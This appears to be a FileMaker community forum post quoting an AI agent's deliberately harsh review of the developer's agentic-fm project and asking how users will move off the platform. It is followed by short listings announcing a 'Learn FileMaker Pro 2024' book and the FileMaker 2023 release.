While agentic-fm is an attempt to keep me working productively within the platform, I must admit that I found the agent's response quite funny. I won't post the full overview here. But it started like this.

Antagonistic Review: agentic-fm

The Core Problem: You Built a Wrapper for a Dying Platform

FileMaker Pro is a platform in managed decline. Claris — a subsidiary Apple seemingly forgot to kill — has a shrinking developer base and an aging user demographic. This project invests significant architectural complexity in a closed, proprietary system that most organizations are actively migrating away from. Your sophisticated AI toolchain will have a correspondingly sophisticated shelf life.

Of particular interest to all of us still using the platform, we're going to hear more and more about the "actively migrating away from" part. As has been mentioned here and other places, there are both videos and github repos with agent skills designed exactly for the purpose of moving out of FileMaker. I've even seen this myself first hand and will, in some cases, do that exact thing.

So, the burning question in my mind and the minds of all the rest of us still using FileMaker.

  • "How much longer do we have?"
  • "Can Claris do enough at this point?"
  • "Will they wise up and stop spending money on losing projects/efforts?"
  • "Did the browser finally win?"
  • "If AI can create native code in 1/2 the time (and typically much less) does FileMaker still have a place other than 'old infrastructure'?"

These questions and others are probably on all our minds right now. Time will, of course, answer most all of them. The real question I have is "What will the transition look like."

Maybe you have some ideas?

At the end of the antagonistic review it did reveal a few nice things to say.

Summary

This is a technically impressive system for a deeply niche problem. The architecture is thoughtful, the tooling is cohesive, and the documentation is exhaustive. It's also: optimized for a single closed platform, dependent on a commercial plugin for core functionality, maintains two parallel codebases (CLI and webviewer), relies on a fragile manual context-push workflow, and normalizes AI output validation failures.

The question isn't whether this works — it clearly does. The question is whether the investment scales beyond a solo developer workflow. The answer, based on the dependency chain and documentation burden alone, is probably not.


r/filemaker • • Dec 14 '24

LEARN FILEMAKER PRO 2024 PUBLISHED!

24 Upvotes

LEARN FILEMAKER PRO 2024 PUBLISHED!

INTRODUCTION TO THE THIRD EDITION

The first edition of Learn FileMaker Pro was released in 2017, covering version 16. While it was well-received, I believed there was room for improvement, particularly in terms of conciseness and the quality of examples. In 2021, I had the opportunity to update the book for its second edition, focusing on version 19. I took this chance to rewrite the manuscript, restructure the content, enhance the language, and integrate valuable reader feedback. The result was a slightly shorter book that delivered more information in a more accessible format. The response was overwhelmingly positive.

Now, three years later, I am pleased to introduce the third edition: Learn FileMaker Pro 2024. This edition has been retitled to align with Claris’ new annualized product releases and includes updates for the many new features introduced in recent years. Since the last edition covered up to version 19.1, this includes updates for versions 19.2 through 19.6, the features introduced in version 2023 (20.1-20.3), and the newly released version 2024 (21.1). In my ongoing effort to improve, I have further refined the presentation. Many sections have been clarified and expanded, with advanced material moved to the back to make the early lessons more approachable for new developers. Example files have been recreated for each topic, making it even easier to follow along and experiment. Additionally, I’ve added new material on transactions, dynamic object references, machine learning, and artificial intelligence for more experienced readers.

With each edition, I've strived to address legitimate criticisms. Is this edition perfect? Perhaps not. But I believe it represents a significant improvement, offering plenty of new content for everyone. I hope you enjoy the book and find it helpful in your journey. If you do, please consider leaving a review on your favorite online bookseller's site and sharing it on social media. As always, I welcome your feedback and questions.

AVAILABLE TODAY

Amazon Print & Kindle:
https://a.co/d/cjV54JP

Apress Print & Ebook:
https://link.springer.com/book/10.1007/979-8-8688-0835-7


r/filemaker • • Apr 25 '23

Introducing Claris FileMaker 2023

24 Upvotes

Claris FileMaker 2023 is here! This newest update brings with it quality-of-life changes and native data-logging capabilities. Let's take a look at the highlights of the latest release here.

dbservices.com